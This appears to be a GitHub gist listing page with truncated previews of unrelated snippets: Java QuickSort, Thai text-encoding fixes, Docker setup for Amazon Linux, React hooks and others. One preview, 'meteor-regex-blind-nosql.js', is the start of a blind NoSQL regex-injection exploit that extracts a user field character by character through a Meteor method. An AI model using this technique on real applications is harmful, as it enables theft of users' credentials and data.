Skip to content

Instantly share code, notes, and snippets.

View ayuthmang's full-sized avatar
😊
Hope you have a great year

Ayuth Mangmesap ayuthmang

😊
Hope you have a great year
View GitHub Profile
@supasate
supasate / QuickSort.java
Created January 5, 2020 18:19
QuickSort in Java with Stream
import java.util.List;
import java.util.function.Supplier;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class QuickSort {
public static List<Integer> qsort(List<Integer> nums) {
if (nums == null || nums.isEmpty()) return nums;
Integer p = nums.get(0);
abstract class DocumentXRequest {
Optional<int> field1;
Optional<string> fiedl2;
DocumentXDomainModel validate();
}
class DocumentXCreateRequest: DocumentXRequest {
DocumentXDomainModel validate() {
// Validate create request
@dtinth
dtinth / README.md
Created August 13, 2019 12:59
Transcribing Thai YouTube video using Google Cloud

How to transcribe Thai speech in videos into text.

Requirements

@ojasookert
ojasookert / meteor-regex-blind-nosql.js
Created August 2, 2019 14:14
Exfiltrate data via vulnerable Meteor method
(function exploit(user, field, alphabet, data = '', index = 0) {
Meteor.call('users.count', {username: user, [field] : {$regex: '^' + data + alphabet[index] + '.*'}}, (err, res) => {
console.log('^' + data + alphabet[index] + '.*', res);
if (res == 0) {
index++;
} else {
data += alphabet[index];
index = 0;
}
if (index >= alphabet.length) {
@krissdap
krissdap / fix-incorrect-thai-encoding.py
Created June 20, 2019 15:51
อ่านภาษาไทยผิดใน Python 3 TIS-620 UTF-8 CP1252
# ไฟล์ภาษาไทย หรือเว็บภาษาไทยบางเว็บ ยังใช้ encoding เป็น TIS-620 อยู่
# เวลาอ่านเข้ามาใน Python 3
# Python 3 จะเข้าใจผิดว่าเป็น CP1252 และแปลงเป็น UTF-8
# ทำให้ข้อความอ่านไม่ออก
# การแก้ไขที่ถูกต้อง คือตอนที่อ่านเข้ามา ให้ระบุไปว่า encoding เป็นอะไร
# เช่นการอ่านจากไฟล์
with open('filename.txt', 'r', encoding='tis-620') as f:
text = f.read()
Messenger (com.facebook.orca)
Line (jp.naver.line.android)
Facebook (com.facebook.katana)
Twitter (com.twitter.android)
Pinterest (com.pinterest)
Hago (com.yy.hiyo)
BeeTalk (com.beetalk.app.mm)
Badoo (com.badoo.mobile)
Pantip (com.sarunw.pantiptalklite)
Dek-D (com.dekd.apps)
import PropTypes from 'prop-types';
type Omit<T, K> = Pick<T, Exclude<keyof T, K>>;
type Defined<T> = T extends undefined ? never : T;
/**
* Get the type that represents the props with the defaultProps included.
*
* Alternatively, we could have done something like this:
@npearce
npearce / install-docker.md
Last active September 30, 2025 13:57
Amazon Linux 2 - install docker & docker-compose using 'sudo amazon-linux-extras' command

UPDATE (March 2020, thanks @ic): I don't know the exact AMI version but yum install docker now works on the latest Amazon Linux 2. The instructions below may still be relevant depending on the vintage AMI you are using.

Amazon changed the install in Linux 2. One no-longer using 'yum' See: https://aws.amazon.com/amazon-linux-2/release-notes/

Docker CE Install

sudo amazon-linux-extras install docker
sudo service docker start
@gaearon
gaearon / MyResponsiveComponent.js
Created November 1, 2018 10:05
Examples from "Making Sense of React Hooks"
function MyResponsiveComponent() {
const width = useWindowWidth(); // Our custom Hook
return (
<p>Window width is {width}</p>
);
}
Symbol.all_symbols.length # => 3893
Symbol.all_symbols.grep(/Struct/) # => [:Struct]
:dummy_symbol
Symbol.all_symbols.length # => 3894
Symbol.all_symbols.grep(/dummy_symbol/) # => [:dummy_symbol]
dummy_variable = nil
Symbol.all_symbols.length # => 3895
Symbol.all_symbols.grep(/dummy_variable/) # => [:dummy_variable]